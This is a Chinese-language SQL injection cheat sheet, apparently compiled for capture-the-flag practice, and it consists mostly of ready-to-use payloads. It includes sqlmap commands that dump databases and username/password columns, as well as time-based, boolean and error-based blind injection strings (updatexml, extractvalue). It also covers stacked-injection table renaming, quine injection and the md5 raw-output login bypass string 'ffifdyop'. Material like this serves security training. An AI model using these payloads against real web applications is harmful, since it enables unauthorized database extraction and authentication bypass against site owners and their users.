sqlmap.py -u URL --forms
sqlmap.py -u URL --forms --dbs
sqlmap.py -u URL --forms --current-db
sqlmap.py -u URL --forms -D 数据库名称--tables
sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns
sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump
常见注入手段
获取tables+databases+version
获取databases+version
使用database()
函数和version()
函数
获取 tables
select table_name from information_schema.tables where table_schema=database();
获取字段
select column_name from information_schema.columns where table_name='xxx' and table_schema=database();
select 被 limit 造成的无回显
选择不存在的value;
用 limit 0,1
使用group_concat()
select group_concat(xxxx) from xxx
concat和group_concat都是用在sql语句中做拼接使用的,但是两者使用的方式不尽相同,concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号
手注如何判断sql注入
'
判断有没有对字符处理
and 1=1
判断
时间盲注判断
1'+AND+(SELECT*FROM+(SELECT+SLEEP(5))a)+AND+'1'='1'
其中a为SELECT+SLEEP(5)
的别名
盲注常用函数
sleep(n)
=— 返回0 命令中断返回1
substr(a,b,c)
count()
— 计算总数
ascii()
— 返回字符的ascii码
length()
— 返回字符串的长度
基于bool的盲注
a' or 1=1
substr
盲注情况下用 substr (变种mid())获取数据
select substr(database(),2,1) = 'q' and sleep(2)
获取table_name
and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101 --+
获取长度
and length((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))>1 --+
变种mid()
用法和 substr 相同
left()
select left('awaawawa',3) #return awa
ascii
用 ascii() (变种ord) 转换为ascii码
select ascii(substr(database(),2,1)) = 33 and sleep(2);
变种ord
通过length()获取字符串长度
获取database长度
length(database()) = 1 and sleep(1);
rand() 随机数(伪
select rand() from user;
rand(int) #只要int值相等,最后的随机数也相等
floor(x) 返回一个小于x的整数
select floor(1.1)/*1*/,floor(0.99)/*0*/,floor(2.1)/*2*/
报错盲注
updatexml:
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
被截断
updatexml(1,(mid(concat(0x7e,(select flag from flag limit 0,1),0x7e),0,31)),3) --+
extractvalue
'admin '^extractvalue(1,concat(0x5c,(select(database()))))%23
extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x5c))%23
extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(((table_schema)like(database()))and((table_name)like('H4rDsq1')))),0x5c))%23
^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1)),0x5c))%23
被截断
extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),32),0x5c))%23
extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),20),0x5c))%23
堆叠注入
考察堆叠注入
';show tables--+
得到表名
';show columns from `1919810931114514`--+
得到flag字段
最后
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
1 ';handler (数据表) open ;handler (数据表) read first;handler (数据表) close; % 23
rename:
修改一个或多个表的名称
RENAME TABLE old_table_name TO new_table_name;
alert:
向表中添加字段
Alter table [表名] add [列名] 类型
保留old和new列名
列名:a ---->b 列类型
ALTER TABLE t1 CHANGE a b INTEGER;
由于这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表(1919810931114514)改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1 %27;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
Quine注入
主要利用 replace
这个函数
replace(str,old_string,new_string)
REPLACE("间隔符",编码的间隔符,"间隔符")
playload 模板
第一步:
REPLACE(REPLACE('间隔符',CHAR(34),CHAR(39)),编码的间隔符,'间隔符')
第二步:
REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')
str=第一步
eg:
'/**/union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#
Quine注入说白了就是套娃,导致输入和输出一模一样
神奇字符串绕过
SELECT * FROM admin WHERE username = ‘admin’ and password = ‘“.md5($password,true).”‘
中使用
ffifdyop
经过md5加密后:276f722736c95d99e921722cf9ed621c
再转换为字符串:’or’6<乱码> 即 'or'66�]��!r,��b
用途:
select * from admin where password=’’or’6<乱码>’
就相当于select * from admin where password=’’or 1 实现sql注入
不光有ffifdyop
还有 129581926211651571912466741651878684928
也可达同样的效果
总之,相当于 select * from admin where password=''or ture